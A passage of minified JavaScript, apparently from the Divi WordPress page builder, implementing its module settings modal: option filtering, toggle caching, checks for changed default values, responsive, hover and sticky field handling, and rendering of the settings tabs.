l=!0,!1}),l}return!e&&""!==i&&"et_pb_section"!==n||(""!==a||!A()(t.props.libraryModuleScope)&&"global"===t.props.libraryModuleScope)}},{key:"getGlobalTabClass",value:function(){if(this.isGlobalModuleOpened())return"et-fb-tabs__item__global"}},{key:"getGlobalModalClass",value:function(e){var t=A()(e)?"":e;if(this.isGlobalModuleOpened())return t+"__global"}},{key:"isGlobalOptionSynced",value:function(e){if(!this.isGlobalModuleOpened())return!0;var t=X()(this.props.module,"props.unsyncedGlobalSettings",[]);return!N()(t,e)}},{key:"isSelectiveSyncAvailable",value:function(e){return!X()(e,"hide_sync",!1)&&(this.isGlobalModuleOpened(!0)&&!N()(["et_pb_section","et_pb_row","et_pb_row_inner"],this.props.module.props.type))}},{key:"_onFilterInput",value:function(e){ze.b.setOptionsFilter({filterOptions:e,filterSelected:this.state.filterSelected}),this.setState({filterOptions:e,filterNotice:!1})}},{key:"_onFilterSelect",value:function(e){ze.b.setOptionsFilter({filterOptions:this.state.filterOptions,filterSelected:e}),this.setState({filterSelected:e,filterNotice:!1})}},{key:"_onFilterChanged",value:function(e){this.setState({filterSelected:e,filterNotice:!1})}},{key:"_onGoToOption",value:function(t){var n=this;if(!O()(t)){K()(t.elementId,"transform_")&&(t.elementId="transform_styles");var o=this.props.module,r=[{slug:"general",toggleGroupId:"general"},{slug:"advanced",toggleGroupId:"design"},{slug:"css",toggleGroupId:"css"}],i=this.getCustomTabsList();i&&C()(i,function(e,t){r.push({slug:t,toggleGroupId:t})});var a={};C()(r,function(e,r){var i=n._getNonEmptyToggles(o.props.type,e.slug+".toggles",e.slug).toggles;if("option"===X()(t,"type")){var s=n._getOptionsFields(e.slug);if(C()(s,function(n,o){var i=A()(n.name)?o:n.name;B()(t.elementId)&&N()(t.elementId,i)?a={tabSlug:e.slug,toggleGroupId:e.toggleGroupId,keyCompare:i,fieldData:n,tabSelectedIndex:r}:G()(t.elementId)&&t.elementId===i&&(a={tabSlug:e.slug,toggleGroupId:e.toggleGroupId,keyCompare:i,fieldData:n,tabSelectedIndex:r})}),!O()(a)){var l=0;C()(i,function(e,t){l++,t===a.fieldData.toggle_slug&&(a.toggleId=t,a.toggleOrder=l)})}}else if(e.toggleGroupId===X()(t,"payload.toggleGroupId")){a={tabSlug:e.slug,toggleGroupId:e.toggleGroupId,tabSelectedIndex:r};var u=0;C()(i,function(e,n){u++,n===X()(t,"payload.toggleId")&&(a.toggleId=n,a.toggleOrder=u)})}}),O()(a)||A()(a.toggleId)||A()(a.toggleOrder)?this.setState({filterOptions:"",filterSelected:void 0,filterNotice:!1}):(this.setState({tabSelectedIndex:a.tabSelectedIndex,filterOptions:"",filterSelected:void 0,filterNotice:!1}),clearTimeout(this.goToOptionTimer),this.goToOptionTimer=setTimeout(function(){e(Object(l.findDOMNode)(n)).find(".et-fb-tabs__item").each(function(t,n){t===a.tabSelectedIndex&&e(n).trigger("click")}),n._onClickToggle(a.toggleId,a.toggleOrder,a.toggleGroupId,!0)},100))}}},{key:"_getNonEmptyToggles",value:function(e,t,n){var o="css.toggles"===t?"custom_css.toggles":t,r=o+"_"+n+"_toggles",i=X()(this.props,"module.props.address"),a=qe.a.isMultiItemSelected(i),s=qe.a.getMultiSelectElementsType();if(this.cache.has(e,r)&&!a)return this.cache.get(e,r);var l={};if(a){if(this.cache.hasElements(s,r))return this.cache.getElements(s,r);l=ut.a.generateSelectedToggles(o)}var u=O()(l)?J()({unclassified:{title:"",priority:10}},X()(Ke.d.getOptionsToggles(e),o,{})):l,c=this._getOptionsFields(n),d=this.getBackgroundFieldsNames(),p={},f={};C()(c,function(e){var t=e.toggle_slug,n=e.name,o=e.depends_on,r=e.show_if,i=e.show_if_not,a=e.type;N()(["skip","computed"],a)||A()(n)||(t=A()(t)?"unclassified":t,se()(p,t,!0),o||r||i||N()(d,n)||se()(f,t,!0))});var h={toggles:ue()(u,function(e,t){return k()(p,t)}),safe:f};return a?this.cache.setElements(s,r,h):this.cache.set(e,r,h),h}},{key:"_isFieldValueModified",value:function(e,t,n,o){var r=this,i=!1,a=A()(e.name)?void 0:t[e.name],s=e.default;if(A()(a)&&"content"===e.name&&!A()(this.props.module.props.content)&&(a=X()(this,"props.module.props.content")),!A()(e.default_from)){var l=e.default_from.split(".").pop();!l||A()(o[l])||A()(o[l].default)||(s=o[l].default)}if(!A()(e.name)&&(Ne()(e.name,"_tablet")||Ne()(e.name,"_phone"))){var u=Ve.a.getFieldBaseName(e.name),c=e.name.replace(u,"");if(k()(o,u)){var d=o[u];k()(d,"default"+c)&&(s=d["default"+c])}}switch(!O()(a)&&G()(a)&&(a=a.toLowerCase()),!O()(s)&&G()(s)&&(s=s.toLowerCase()),e.type){case"font":i=!O()(a)&&"||||||||"!==a&&a!==s;break;case"custom_padding":case"custom_margin":i=!O()(a)&&a!==s;break;case"border-radius":i=!O()(a)&&"||||"!==a&&"on||||"!==a&&a!==s;break;case"multiple_checkboxes":i=!(O()(a)||G()(a)&&-1===a.indexOf("on"))&&a!==s;break;case"tiny_mce":i=!(O()(a)||G()(a)&&!a.replace(/(?:<br ?\/?>|\n)/g,"").length)&&a!==s;break;case"range":var p=e.default_unit;if(!A()(e.default_from)){var f=e.default_from.split(".").pop();A()(o[f])||A()(o[f].default_unit)||(p=o[f].default_unit)}B()(s)&&(s=s[1][t[s[0]]]),p&&(a&&-1===a.indexOf(p)&&(a=""+a+p),s&&-1===s.indexOf(p)&&(s=""+s+p)),i=!O()(a)&&a!==s;break;case"color-alpha":i=!O()(a)&&s!==a;break;case"yes_no_button":i=!O()(a)&&"off"!==a&&s!==a;break;case"select":i=!(!Re.default.hasValue(a)||V()(e.options)&&!O()(e.options)&&Object.keys(e.options)[0]===a)&&s!==a;break;case"composite":A()(e.composite_structure)||C()(e.composite_structure,function(e){A()(e.controls)||C()(e.controls,function(a,s){var l=Et({},a,{name:s}),u=Et({},o,e.controls);!r._isFieldDependencyExcluded(l,u)&&r._isFieldValueModified(l,t,n,u)&&(i=!0)})});break;case"background":if(!(i=(!G()(a)||!O()(a))&&s!==a)&&!O()(e.backgroundFields)){var h=e.name.split("_").slice(-1).pop();h&&C()(["background_color_%s","use_background_color_gradient_%s","bg_img_%s","background_video_mp4_%s","background_video_webm_%s"],function(e){var n=e.replace("%s",h);O()(t[n])||"off"===t[n]||(i=!0)})}break;default:i=!(!x()(a)&&!Ce()(a)&&O()(a))&&s!==a}if(!i&&this._isOptionMatchesStylesResponsive(e,t)){var m=Et({},e,{name:e.name+"_tablet",default:k()(e,"default_tablet")?e.default_tablet:s,mobile_options:void 0});if(this._isFieldValueModified(m,t,n,o)&&(i=!0),!i){var g=Et({},e,{name:e.name+"_phone",default:k()(e,"default_phone")?e.default_tablet:m.default,mobile_options:void 0});this._isFieldValueModified(g,t,n,o)&&(i=!0)}}return i}},{key:"_isOptionMatchesStylesModified",value:function(e,t,n,o){var r=this;if("general"===n&&!A()(e.toggle_slug)&&"background"!==e.toggle_slug)return!1;if(!N()(["general","advanced","css"],n)&&N()(["text","textarea","tiny_mce","date_picker"],e.type))return!1;var i=this._isFieldValueModified(e,t,n,o);return i||"background_color"!==e.name||C()(jt,function(e){A()(o[e])||r._isFieldValueModified(o[e],t,n,o)&&(i=!0)}),i}},{key:"_isOptionMatchesStylesResponsive",value:function(e,t){if(A()(e.mobile_options))return!1;var n=t[e.name+"_last_edited"],o=A()(n)?["off","desktop"]:n.split("|");return!A()(o[0])&&"on"===o[0]}},{key:"_isOptionMatchesStylesHover",value:function(e,t){var n="background_color"===e.name?"background":e.name;return Be.a.isEnabled(n,t)}},{key:"_isOptionMatchesStylesSticky",value:function(e,t){var n="background_color"===e.name?"background":e.name;return He.a.isEnabled(n,t)}},{key:"_isOptionMatchesActiveContent",value:function(e,t,n,o){return!("general"===n&&!A()(e.toggle_slug)&&"background"===e.toggle_slug)&&(!N()(["advanced","css"],n)&&(!(!N()(["general","advanced","css"],n)&&!N()(["text","textarea","tiny_mce","date_picker"],e.type))&&this._isFieldValueModified(e,t,n,o)))}},{key:"_isFieldDependencyExcluded",value:function(e,t){return!A()(e.depends_on)&&!this._isVisible(e,t)||!(A()(e.show_if)&&A()(e.show_if_not)||Object(Ie.a)(e,this.setting_resolver))}},{key:"_getFilteredFields",value:function(e){var t=this,n=this._getOptionsFields(e),o=this.state.filterOptions,r=this.state.filterSelected;if(!this._isFilterActive())return n;var i=this.props.module.props.type,a=e+"_filter";if(this.cache.has(i,a)){var s=this.cache.get(i,a);if(s.search===o&&s.filterSelected===r)return s.filtered}var l=this.getModuleAttrs(),u=X()(this,"props.module.props.content"),c={};C()(n,function(e){var t=e.type,n=e.name,o=e.is_fb_content;if("codemirror"===t||n&&0===n.indexOf("custom_css_")){var r=o?u:l[n];r&&(c[n]=r)}});var d=ue()(n,function(e){var n=e.type,o=e.label,r=e.description,i=e.name;return"composite"===n||t._isOptionMatchesFilter(o,r,c[i])});return Re.default.hasValue(r)?(d=this._isOptionMatchesFilterSelected(d,e),this.cache.set(i,a,{search:o,filterSelected:r,filtered:d}),d):(this.cache.set(i,a,{search:o,filterSelected:r,filtered:d}),d)}},{key:"_getFilteredToggleFields",value:function(e,t,n){var o=this.state.filterOptions,r=this.state.filterSelected;if(!this._isFilterActive())return t;var i=this.props.module.props.type,a=n+"_"+e+"_filter_toggle";if(this.cache.has(i,a)){var s=this.cache.get(i,a);if(s.search===o&&s.filterSelected===r)return s.filtered}return this._isOptionMatchesFilter(e)&&(t=this._getOptionsFields(n)),Re.default.hasValue(r)?(t=this._isOptionMatchesFilterSelected(t,n),this.cache.set(i,a,{search:o,filterSelected:r,filtered:t}),t):(this.cache.set(i,a,{search:o,filterSelected:r,filtered:t}),t)}},{key:"_isOptionMatchesFilterSelected",value:function(e,t){var n=this,o=this._getOptionsFields(t),r=this.getModuleAttrs();return ue()(e,function(e){if(n._isFieldDependencyExcluded(e,o))return!1;switch(n.state.filterSelected){case"styles_modified":return n._isOptionMatchesStylesModified(e,r,t,o);case"styles_responsive":return n._isOptionMatchesStylesResponsive(e,r);case"styles_hover":return n._isOptionMatchesStylesHover(e,r);case"styles_sticky":return n._isOptionMatchesStylesSticky(e,r);case"active_content":return n._isOptionMatchesActiveContent(e,r,t,o);default:return!1}})}},{key:"_isOptionMatchesFilter",value:function(){for(var e=this.state.filterOptions.toLowerCase(),t=!1,n=arguments.length,o=Array(n),r=0;r<n;r++)o[r]=arguments[r];return C()(o,function(n){return A()(n)||-1===n.toLowerCase().indexOf(e)||(t=!0),!t}),t}},{key:"_getOptionsFields",value:function(e){var t=this,n=this._getModule(),o=n.props.type,r=this.getModuleAttrs(),i=this.props.isGlobalPresetsMode,a=qe.a.isMultiItemSelected(n.props.address);if(this.cache.has(o,e)&&!a)return this.cache.get(o,e);var s=this,l=J()({},this.state[e+"Fields"]),u=qe.a.getMultiSelectElementsName(),c=qe.a.getMultiSelectElementsType();if(a){if(this.cache.hasElements(c,e))return this.cache.getElements(c,e);var d={};C()(u,function(n){var o={},i={props:{type:n,attrs:r}};"general"===e?o=t.getComponentFields(i):"advanced"===e?o=t.getComponentAdvancedFields(i):"css"===e&&(o=t.getComponentCSSFields(i)),d=ut.a.generateSelectedFieldsItem(d,o)}),l=O()(d)?l:d}if(Re.default.isOn(r.specialty)&&"et_pb_section"===o&&!i&&function(){for(var o=k()(n.props,"children")&&!O()(n.props.children)?n.props.children:n.props.content,r=o.length,i=function(n){var i=qe.a.getColumnSettingFields(e),a={},u={};C()(i,function(e,t){var i=t.replace("%s",n),c={label:X()(e,"label","").replace("%s",1!==r?n:""),name:i,sub_toggle:X()(e,"sub_toggle","").replace("%s",n),isColumnField:!0,columnIndex:n-1,columnType:o[n-1].type};A()(e.affects)||O()(e.affects)||(c.affects=m()(e.affects,function(e){return e.replace("%s",n)})),B()(e.presets)&&(c.presets=e.presets.map(function(e){return Et({},e,{fields:e.fields||{}})}).map(function(e){return Et({},e,{fields:Z()(e.fields).map(function(t){return Tt({},t.replace("%s",n),e.fields[t])})})}).map(function(e){return Et({},e,{fields:e.fields.reduce(function(e,t){return Et({},e,t)},{})})})),A()(e.depends_on)||O()(e.depends_on)||(c.depends_on=m()(e.depends_on,function(e){return e.replace("%s",n)}));var d=J()(Re.default.intentionallyClone(e),c);"background_color_%s"===t&&(a=Re.default.intentionallyClone(d)),N()(s.getColumnBackgroundFieldsNames(),t)?u[i]=d:l[i]=d}),"general"!==e||O()(i)||(a.label=ETBuilderBackend.i18n.modules.column.backgroundColor.replace("%s",n),a.type="background",a.backgroundFields=u,a.isColumnBackground=!0,a.columnIndex=n,a._onChange=t._onChange,a.onMouseEnterGroup=t._onMouseEnterGroup,a.onMouseLeaveGroup=t._onMouseLeaveGroup,a.isDescriptionVisible=t._isDescriptionVisible,a.isHoveredGroup=t._isHoveredGroup,a.onClickHelp=t._onClickHelp,a.isResetActive=s._isResetActive,a.onClickReset=s._onClickReset,l["background_color_"+n]=a)},a=1;a<=r;a++)i(a)}(),"css"===e){var p=["before","main_element","after"];C()(l,function(e,t){var n=Re.default.intentionallyClone(e),o=!0;C()(["module_id","module_class"],function(e){K()(t,e)&&(o=!1)}),o&&A()(e.selector)&&(n.selector=""),A()(e.isColumnField)&&(N()(["module_id","module_class"],t)||!A()(e.type)?n.name=t:n.name=!A()(e.selector)||A()(e.name)||N()(p,t)?"custom_css_"+t:t),l[t]=n})}return a?this.cache.setElements(c,e,l):this.cache.set(o,e,l),l}},{key:"_getAllOptionsFields",value:function(){var e=this.props.module.props.type;if(this.cache.has(e,"all"))return this.cache.get(e,"all");var t=this._getOptionsFields("general"),n=this._getOptionsFields("advanced"),o=this._getOptionsFields("css"),r=this.getCustomTabsFields(e),i=oe()({},t,n,o);return r&&C()(r,function(e){i=oe()(i,e)}),this.cache.set(e,"all",i),i}},{key:"getBackgroundEnableFieldsNames",value:function(){return Ke.d.getBackgroundEnableFieldsNames()}},{key:"getBackgroundFieldsNames",value:function(){return Ke.d.getBackgroundFieldsNames()}},{key:"getColumnBackgroundFieldsNames",value:function(){return Z()(ETBuilderBackend.columnSettingFields.general)}},{key:"getModuleFields",value:function(){return Et({},this.state.generalFields,this.state.advancedFields)}},{key:"isGlobalRow",value:function(){var e=X()(this,"module_type","");return!!N()(["et_pb_row","et_pb_row_inner"],e)&&(""!==X()(this,"props.module.props.attrs.global_module","")||qe.a.isEditingLibraryItem("row"))}},{key:"_renderModuleItems",value:function(){var e=this;if(this._isFilterActive())return!1;var t=N()(["2_3,1_3","1_3,2_3"],X()(this,"props.module.props.specialty_layout",""))||"2_3"===X()(this,"props.module.props.content.[0].attrs.saved_specialty_column_type","")?4:3,n=X()(this,"module_type",""),o=X()(this,"props.module.props.content.length",0),r=this.isGlobalRow(),a="et_pb_row"===n&&6===o||"et_pb_row_inner"===n&&t===o,s=N()(["et_pb_row","et_pb_row_inner"],n)&&1===o,l="";this._hasModuleItem()&&B()(this.props.module.props.content)&&!O()(this.props.module.props.content)&&(l=i.a.createElement(nt.a,{module:this.props.module,_v:this.props.module.props._v,setHoveredElement:this._setHoveredElement,disableDuplicate:a||r,disableDelete:s||r,onToggleRightMenu:this._onToggleRightMenu,isGlobalPresetsMode:this.props.isGlobalPresetsMode}));var c="";if(this._hasModuleItem()){var d=!1;if(this.isSelectiveSyncAvailable()){var p=this.isGlobalOptionSynced("et_pb_content_field")?"#97D000":"#EF5555";d=i.a.createElement("div",{className:"et-fb-form__global-sync",onClick:this._unsyncGlobalContent},i.a.createElement(Ye.a,{icon:"sync",color:p}))}var f=!!qe.a.getModuleItemDragEndWaiting()&&i.a.createElement("div",{className:"et-fb-settings-module-items--waiting"}),h=ETBuilderBackend.i18n,m=X()(h,"modules."+this.props.module.props.type+".addNew")||h.controls.moduleItem.addNew,g=a||r||this.props.isGlobalPresetsMode?null:i.a.createElement("span",{className:"et-fb-item-button-wrap--add"},i.a.createElement(u.Motion,{defaultStyle:{size:.5,opacity:0},style:{size:this.props.options.animate?Object(u.spring)(1,{stiffness:300,damping:20}):1,opacity:this.props.options.animate?Object(u.spring)(1,{stiffness:300,damping:20}):1}},function(t){return i.a.createElement(Je.a,{buttonName:Ge.a.MODULE_ITEM_ADD,editingModule:e,style:{opacity:t.opacity,transform:"scale( "+t.size+" )"},title:m})}));c=this._isModuleItemSettings()?"":i.a.createElement("div",{className:"et-fb-settings-module-items-wrap"},l,d,g,f)}return c}},{key:"renderToggleFields",value:function(e,t){return!!qe.a.isProductTourActive()||(!!this.builder_display_modal_settings||(!!this._isFilterActive()||this._isToggleOpened(e,t)))}},{key:"_isValidProductTourToggle",value:function(e,t){return!("et_pb_row"===X()(this.props,"module.props.type")&&!O()(t.background)&&"background"!==e)}},{key:"_maybeRenderHelpButton",value:function(e){var t=this.props.module,n=e||t.props.type;if(A()(ETBuilderBackend.i18n.videos[n]))return!1;if(this.state.filterNotice)return!1;var o=this.props.address,r=qe.a.isMultiItemSelected(o),a=1===qe.a.getMultiSelectElementsName().length;return r&&!a&&(n="et_pb_default"),i.a.createElement($e.a,{videoListId:n})}},{key:"_renderTabOptionsPanel",value:function(e,t){var n=this,o=arguments.length>2&&void 0!==arguments[2]&&arguments[2],a="advanced"===e?"design":e,s=N()(["general","advanced","css"],e)?e+"_settings":e;if(s="css"===e?"custom_css_settings":s,!qe.a.isAllowedAction(s))return!1;var l=this,u=l.props,c=u.module,p=u.activeTabMode,h=qe.a.isMultiItemSelected(c.props.address),g=[],v=N()(["et_pb_column","et_pb_column_inner"],c.props.type),b=!(!c.isModuleItem||A()(c.parentModule.props.type)||v)&&c.parentModule.props.type,_=this._getAllOptionsFields(),w=this._getFilteredFields(e),E=this.getModuleFields(),S=Z()(E).reduce(function(e,t){return e||!!t.match(/background_color(_[0-9])?$/)},!1),M=this._getNonEmptyToggles(c.props.type,e+".toggles",e),P=M.safe,L=M.toggles;this.setting_resolver.property_definitions=_,"et_pb_signup_custom_field"===X()(c,"props.child_slug")&&(this.setting_resolver.child_property_definitions=this.getComponentFields(c,!1,"et_pb_signup_custom_field")),"et_pb_signup_custom_field"===X()(c,"props.type")&&(this.setting_resolver.property_definitions.parentModule=this.getComponentFields({props:{type:"et_pb_signup"}}));var D=0,F=e!==t,R="general"===e&&!h&&this._renderModuleItems(),B=X()(c,"props.module_items_config",{}),W=X()(B,"toggle_slug"),H=X()(B,"location"),U=O()(B)||Object(Ie.a)(B,this.setting_resolver),z="";if(N()(["et_pb_section","et_pb_row","et_pb_row_inner","et_pb_column"],c.props.type))z=f()(ETBuilderBackend.structureModules,{slug:c.props.type}).name;else{var q=f()(ETBuilderBackend.modules,{label:c.props.type});A()(q)||A()(q.title)||(z=q.title)}var K=qe.a.getActiveQuickAccess().clickedToggle,$=K.toggleId,Y=K.toggleSubId,Q=Object(ht.b)().width,ee=X()(this.state.toggleTabs,a,{}),ne=X()(this,"props.module.props.type"),oe=N()(["et_pb_row","et_pb_row_inner"],ne)&&!this.props.isGlobalPresetsMode,re=X()(this._getModule(),"props.is_official_module"),ae=(X()(this._getModule(),"props.address",""),this.getModuleAttrs()),le=this._isFilterActive(),ue=this.props.isGlobalPresetsMode?"settings-modal-back":"settings-modal-front";return i.a.createElement(Ze.c,{key:"et-fb-tabs__panel--"+a,className:"et-fb-tabs__panel--"+e,slug:e,isModuleItemSettings:this._isModuleItemSettings(),displayFilter:o,filterValue:this.state.filterOptions,_onFilterInput:this._onFilterInput,tabsCount:this.state.tabsCount,filterItems:this._getFilterItems(),filterGroups:{show_only:ETBuilderBackend.i18n.modals.show_only},filterSelected:this.state.filterSelected,filterNotice:this.state.filterNotice,_onFilterSelect:this._onFilterSelect,filterName:ue},i.a.createElement(et.f,{onSubmit:this._handleFormSubmission},i.a.createElement("input",{type:"submit",className:"et-fb-hide"}),U&&A()(W)&&!oe&&R,m()(L,function(t,o){if(re||!n.props.isGlobalPresetsMode||"general"!==e||"background"===o){D++;var s=V()(t)?t.title:t,u=V()(t)?t.sub_toggles:{},f=!O()(u)&&X()(t,"tabbed_subtoggles",!1),v=n._getFilteredToggleFields(s,w,e),M=k()(P,o)&&"unclassified"!==o,B=X()(t,"always_open",!1),q=!M||n.renderToggleFields(o,a)||B,K=n._isToggleOpened(o,a)||!F&&n._isValidProductTourToggle(o,L)||n.productTourOptionToggle===o||B,ne=te()(L)===D;Re.default.hasValue(s)||"unclassified"!==o||(s=z);var ue=$===o?Y:0,ce=!!u&&Z()(u)[0],de={};return i.a.createElement(et.e,{fields:v,key:o,title:s,nonDefaultOptions:de,toggleId:o,toggleGroupId:a,toggleSubId:ue,_onClickToggle:n._onClickToggle,_onSwitchTab:n._onSwitchTab,setHoveredToggleElement:n._setHoveredToggleElement,setHoveredSubToggleElement:n._setHoveredSubToggleElement,isToggleOpened:K,toggleOrder:D,isLastToggle:ne,isFilterActive:le,isGroupActive:!n.builder_display_modal_settings,showEmpty:M,subToggles:u,tabbedSubtoggles:f,setHoveredElement:function(e,t){if(e){var o=t.props.toggleId,r=st.a.getHelper(e);if(r){var i=r.preparePayload(t,n.props.module);n._setHoveredElement(e,o,i)}}},alwaysVisible:B,onToggleRightMenu:n._onToggleRightMenu},U&&o===W&&"top"===H&&R,!!q&&m()(v,function(t,s){var u=t,m=X()(u,"toggle_slug","unclassified"),v=A()(u.type)&&"css"===e?"codemirror":u.type;if(m!==o||A()(v))return!1;if(!A()(u.specialty_only)&&"yes"===u.specialty_only&&(A()(ae.specialty)||"on"!==ae.specialty))return!1;"sortable_list"===(u="composite"===t.type?Re.default.intentionallyCloneDeep(t):Re.default.intentionallyClone(t)).type&&(u.useAddNewButton=!0);var w="et_pb_counter"===n.props.module.props.type&&"content"===u.name,M=d()("et-fb-settings-options","et-fb-option--"+v.replace("_","-")),P="",D="",B="",V=ae.content||(h?ut.a.generateSelectedContent(c.props.content,n.updatedAttrs):c.props.content);V=V||"";var H={},q={},K=b?s+"_child":s,$="",Y=X()(u,"default",""),Z=void 0;if("categories"===v&&(u.categories_list={},u.taxonomy_name=A()(u.taxonomy_name)?"category":u.taxonomy_name),"select_sidebar"===v&&(u.sidebars_list={}),"text"===v&&N()(["et_pb_signup","et_pb_contact_form"],c.props.type)&&N()(u.option_class,"--last-field")&&(v="text_api_key"),"background_color"===u.name)u.backgroundFields={},u.onMouseEnterGroup=l._onMouseEnterGroup,u.onMouseLeaveGroup=l._onMouseLeaveGroup,u.isDescriptionVisible=l._isDescriptionVisible,u.isHoveredGroup=l._isHoveredGroup,u.onClickHelp=l._onClickHelp,C()(jt,function(e){var t=X()(E,e,!1);t&&(u.backgroundFields[e]=Et({},t),u.backgroundFields[e]._unsyncGlobalSetting=l._unsyncGlobalSetting,u.backgroundFields[e].isGlobalOptionSynced=l.isGlobalOptionSynced(e),u.backgroundFields[e].isSelectiveSyncAvailable=l.isSelectiveSyncAvailable(),u.backgroundFields[e].isGlobalOptionSynced=l.isGlobalOptionSynced(e))}),u.isResetActive=l._isResetActive,u.onClickReset=l._onClickReset,te()(u.backgroundFields)>1&&(u.name="background",u.label=ETBuilderBackend.i18n.modules.background.label,u.type="background",v="background",u._onChange=l._onChange,u._unsyncGlobalSetting=l._unsyncGlobalSetting,u.description=ETBuilderBackend.i18n.modules.background.description,A()(u.is_toggleable)&&delete u.depends_on,delete u.additional_code,delete u.depends_show_if);else if(S&&N()(jt,Be.a.getFieldBaseName(X()(u,"name",""))))return!1;("background-field"===u.type&&(u.onMouseEnterGroup=l._onMouseEnterGroup,u.onMouseLeaveGroup=l._onMouseLeaveGroup,u.isDescriptionVisible=l._isDescriptionVisible,u.isHoveredGroup=l._isHoveredGroup,u.onClickHelp=l._onClickHelp,u.background_fields=y()(u.background_fields,function(e,t){var n=function(e,t){var n={};for(var o in e)t.indexOf(o)>=0||Object.prototype.hasOwnProperty.call(e,o)&&(n[o]=e[o]);return n}(e,[]);return n._unsyncGlobalSetting=l._unsyncGlobalSetting,n.isGlobalOptionSynced=l.isGlobalOptionSynced(t),n.isSelectiveSyncAvailable=l.isSelectiveSyncAvailable(),n.isGlobalOptionSynced=l.isGlobalOptionSynced(t),n}),u.isResetActive=l._isResetActive,u.onClickReset=l._onClickReset),b&&It(u))&&(u=Rt(u,c,"general"===e?"":e,!n.props.isGlobalPresetsMode));var ne=n._getModule(),re=!1!==X()(u,"depends_on[0]",!1)&&X()(u,"depends_on[0]",!1),ue=u.name||"",pe=u.name||"",fe="tabs"===X()(u,"hover",!1),he=!1!==X()(u,"hover",!1)||void 0,me=Be.a.isHoverMode(),ge=me&&fe&&Be.a.isEnabled(u.name,ae);me&&Be.a.doesSupport(u)&&(Be.a.isEnabled(u.name,ae)||Be.a.isEnabled(re,ae))&&(ue=Be.a.getHoverField(u.name||""),pe=Be.a.getFieldBaseName(ue));var ve=He.a.isStickyMode(),be=He.a.doesSupport(u)&&He.a.hasStickyOptions(X()(ne,"props",{})),ye=ve&&be&&(He.a.isEnabled(u.name,ae)||He.a.isEnabled(re,ae));if(ye&&(ue=He.a.getStickyField(u.name||""),pe=He.a.getFieldBaseName(ue)),"custom_padding"===v&&n._hasColumnsFields()&&"custom_padding"!==pe){var _e="";me?_e=Be.a.hoverSuffix():ve&&(_e=He.a.stickySuffix());var ke=u.name.replace("padding_",""),we=Re.default.hasValue(ae["padding_"+ke+"_last_edited"])?ae["padding_"+ke+"_last_edited"].split("|"):[],Ce=(X()(ae,"padding_top_"+ke+_e,"")||"").trim()+"|"+(X()(ae,"padding_right_"+ke+_e,"")||"").trim()+"|"+(X()(ae,"padding_bottom_"+ke+_e,"")||"").trim()+"|"+(X()(ae,"padding_left_"+ke+_e,"")||"").trim()+"|"+(X()(ae,"padding_top_bottom_link_"+ke+_e,"")||"").trim()+"|"+(X()(ae,"padding_left_right_link_"+ke+_e,"")||"").trim(),Ee=n.state.advancedFields,Oe=X()(Ee,"padding_top_"+ke+_e+".default","").trim()+"|"+X()(Ee,"padding_right_"+ke+_e+".default","").trim()+"|"+X()(Ee,"padding_bottom_"+ke+_e+".default","").trim()+"|"+X()(Ee,"padding_left_"+ke+_e+".default","").trim()+"|"+X()(Ee,"padding_top_bottom_link_"+ke+_e+".default","").trim()+"|"+X()(Ee,"padding_left_right_link_"+ke+_e+".default","").trim();if(u.default=Oe,P={desktop:Ce,tablet:X()(ae,"padding_"+ke+"_tablet",""),phone:X()(ae,"padding_"+ke+"_phone",""),isResponsive:!A()(we[0])&&"on"===we[0],activeTab:A()(we[1])?"desktop":we[1]},me||ve)D=X()(ae,"padding_top_"+ke,"").trim()+"|"+X()(ae,"padding_right_"+ke,"").trim()+"|"+X()(ae,"padding_bottom_"+ke,"").trim()+"|"+X()(ae,"padding_left_"+ke,"").trim();$=Ce}else if(N()(["custom_margin","custom_padding"],v)&&u.mobile_options){u=n._handleFieldConditionalDefaults(u,ae,u.name!==ue);var Se=ae[u.name+"_last_edited"],Te=A()(Se)?["off","desktop"]:Se.split("|"),Me=X()(l,"props.module.props.is_module_child",!1)&&(k()(u,"default_tablet")||k()(u,"default_phone")),xe=X()(ae,ue,""),Pe=X()(ae,u.name,""),je=X()(ae,u.name+"_tablet",""),Le=X()(ae,u.name+"_phone","");if(B=qe.a.getPreviewMode(),!Me&&X()(u,"default_value_depends",!1)){var Ne=u.default_value_depends,De=u.default_values_mapping;H.getDefaultFrom=X()(ae,Ne,!1),Pe=Re.default.hasValue(ae[u.name])&&u.default!==ae[u.name]?ae[u.name]:X()(De,H.getDefaultFrom,u.default),xe=Re.default.hasValue(ae[ue])&&u.default!==ae[ue]?ae[ue]:Pe}je&&!k()(u,"default_phone")&&(u.default_phone=je),je||!k()(u,"default_tablet")||k()(u,"default_phone")||(u.default_phone=u.default_tablet),xe&&!k()(u,"default_tablet")&&(u.default_tablet=xe),xe&&!k()(u,"default_phone")&&(u.default_phone=xe),D=Pe,P={desktop:xe,tablet:je,phone:Le,isResponsive:Ve.a.isResponsiveEnabled(ae,u.name),activeTab:Te[1]},$=xe||X()(u,"default","")}else if(u.mobile_options){u=n._handleFieldConditionalDefaults(u,ae,u.name!==ue),B=qe.a.getPreviewMode();var Ae=Ve.a.isResponsiveEnabled(ae,u.name),Fe=N()(["tablet","phone"],p)&&Ae,We=Fe?"_"+p:"",Ge=w&&!Be.a.isHoverMode()&&He.a.isStickyMode()?V:X()(ae,ue,""),Ue=w&&!Be.a.isHoverMode()&&He.a.isStickyMode()?V:X()(ae,ue,""),ze=X()(ae,u.name+"_tablet","");X()(ae,u.name+"_phone","");if(!(X()(l,"props.module.props.is_module_child",!1)&&(k()(u,"default_tablet")||k()(u,"default_phone")))&&X()(u,"default_value_depends",!1)){var Ke=X()(u,"default_value_depends",""),$e=X()(u,"default_values_mapping",{});H.getDefaultFrom=X()(c.props.attrs,Ke,!1),Ue=Re.default.hasValue(Ue)&&u.default!==Ue?Ue:X()($e,H.getDefaultFrom,u.default),Ge=Re.default.hasValue(Ge)&&u.default!==Ge?Ge:Ue}ze&&!k()(u,"default_phone")&&(u.default_phone=ze),ze||!k()(u,"default_tablet")||k()(u,"default_phone")||(u.default_phone=u.default_tablet),Ge&&!k()(u,"default_tablet")&&(u.default_tablet=Ge),Ge&&!k()(u,"default_phone")&&(u.default_phone=Ge),P=Fe?X()(ae,""+u.name+We,""):Ge,D=Ue,$=Ge||X()(u,"default",""),Fe&&(q.default=X()(u,"default"+We,X()(u,"default","")),u.default=q.default,q.name=""+u.name+We,q.baseName=u.name,"yes_no_button"===v?(q.defaultValue=q.default,u.defaultValue=q.defaultValue):"background-field"===v&&delete q.name),u.dynamic_content&&x()(P)&&(P=""+P)}else if(w)P=A()(ae.content)?c.props.content:ae.content;else if("composite"!==v){u=n._handleFieldConditionalDefaults(u,ae,u.name!==ue);var 